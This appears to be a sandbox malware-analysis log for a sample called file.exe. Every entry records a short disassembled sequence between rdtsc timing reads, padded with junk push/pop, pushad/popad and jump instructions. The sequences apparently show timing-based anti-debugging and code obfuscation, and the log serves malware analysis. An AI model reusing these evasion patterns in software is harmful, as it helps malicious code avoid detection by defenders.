Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3799A second address: E379BE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4352B3916h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E379BE second address: E379C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E379C4 second address: E379D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jc 00007FD4352B3906h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E379D6 second address: E379DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E379DD second address: E379E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E379E5 second address: E379E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3ED second address: E6F407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3915h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F407 second address: E6F40F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F40F second address: E6F413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F413 second address: E6F442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jng 00007FD4352B3DC1h 0x00000013 jne 00007FD4352B3D8Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F442 second address: E6F448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F448 second address: E6F465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D99h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F598 second address: E6F59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F59E second address: E6F5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5A9 second address: E6F5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5AD second address: E6F5B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5B7 second address: E6F5D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FD4352B3906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FD4352B3908h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 pushad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5D0 second address: E6F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007FD4352B3D97h 0x0000000b jnl 00007FD4352B3D86h 0x00000011 jmp 00007FD4352B3D8Bh 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5F4 second address: E6F5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F5FA second address: E6F5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC8F second address: E6FC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FEE9 second address: E6FF1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4352B3D8Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ja 00007FD4352B3DBEh 0x00000013 pushad 0x00000014 jmp 00007FD4352B3D96h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6468B second address: E64691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64691 second address: E64695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AE86 second address: E3AE8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7033B second address: E70346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD4352B3D86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70346 second address: E7034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70874 second address: E70882 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70CC8 second address: E70CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70CCC second address: E70CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4352B3D8Ch 0x0000000e jl 00007FD4352B3D88h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70CE9 second address: E70CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70CEF second address: E70CF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70FA0 second address: E70FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4352B3918h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70FC3 second address: E70FEC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4352B3D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jno 00007FD4352B3D86h 0x00000014 jmp 00007FD4352B3D94h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70FEC second address: E70FF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70FF6 second address: E70FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74416 second address: E7442C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3912h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7442C second address: E74430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74773 second address: E74777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E35E9C second address: E35EB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FD4352B3D88h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E35EB7 second address: E35EDB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4352B3908h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b jmp 00007FD4352B3917h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E35EDB second address: E35EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FD4352B3D99h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E77120 second address: E77147 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4352B3908h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FD4352B3915h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E77147 second address: E7715C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7715C second address: E77162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46977 second address: E4698D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FD4352B3D8Eh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4698D second address: E46993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46993 second address: E469B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4352B3D96h 0x0000000e jnp 00007FD4352B3D86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E469B8 second address: E469BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E485C3 second address: E485D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F914 second address: E7F947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3915h 0x00000009 jmp 00007FD4352B3919h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F947 second address: E7F975 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4352B3D9Eh 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F975 second address: E7F9B0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD4352B390Eh 0x00000010 js 00007FD4352B3906h 0x00000016 jmp 00007FD4352B390Fh 0x0000001b jmp 00007FD4352B390Ch 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C9D5 second address: E3C9D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EEDF second address: E7EEEC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815CC second address: E815DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81BFF second address: E81C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81C14 second address: E81C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jne 00007FD4352B3D86h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81C25 second address: E81C2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81CB3 second address: E81CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81CB7 second address: E81CF5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD4352B3908h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD4352B3911h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81CF5 second address: E81CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81EB3 second address: E81EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81EB7 second address: E81EBC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E822AE second address: E8230A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 nop 0x00000007 mov esi, 5C48CFD2h 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e je 00007FD4352B391Ah 0x00000014 jmp 00007FD4352B3914h 0x00000019 jmp 00007FD4352B3910h 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 jmp 00007FD4352B3913h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD4352B390Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E843D8 second address: E843DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83B0D second address: E83B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F71 second address: E84F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85A1A second address: E85A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85A1E second address: E85A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84CB4 second address: E84CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85A28 second address: E85A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84CB8 second address: E84CCE instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FD4352B3908h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E864EA second address: E864F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C1CC second address: E8C1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E882B4 second address: E882B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E882B8 second address: E882BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E42E second address: E8E438 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E438 second address: E8E43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E43C second address: E8E440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9054D second address: E90552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90552 second address: E9056E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Fh 0x00000007 pushad 0x00000008 jnc 00007FD4352B3D86h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9056E second address: E9057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9057D second address: E90581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90581 second address: E90585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90585 second address: E9058D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9058D second address: E90593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90B7C second address: E90B9C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4352B3D94h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90B9C second address: E90BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90BA0 second address: E90C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4352B3D91h 0x0000000b popad 0x0000000c nop 0x0000000d movzx edi, bx 0x00000010 mov bx, ax 0x00000013 push 00000000h 0x00000015 sbb edi, 605B2AE2h 0x0000001b movzx edi, bx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FD4352B3D88h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a xor ebx, dword ptr [ebp+122D3158h] 0x00000040 xchg eax, esi 0x00000041 jmp 00007FD4352B3D8Dh 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E581 second address: E8E587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91BB6 second address: E91BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90D50 second address: E90D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90D54 second address: E90D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92B1A second address: E92B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91DD6 second address: E91DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FD4352B3D86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91DE3 second address: E91E0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3913h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4352B390Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44F12 second address: E44F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FD4352B3D86h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98328 second address: E9832C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9832C second address: E98330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
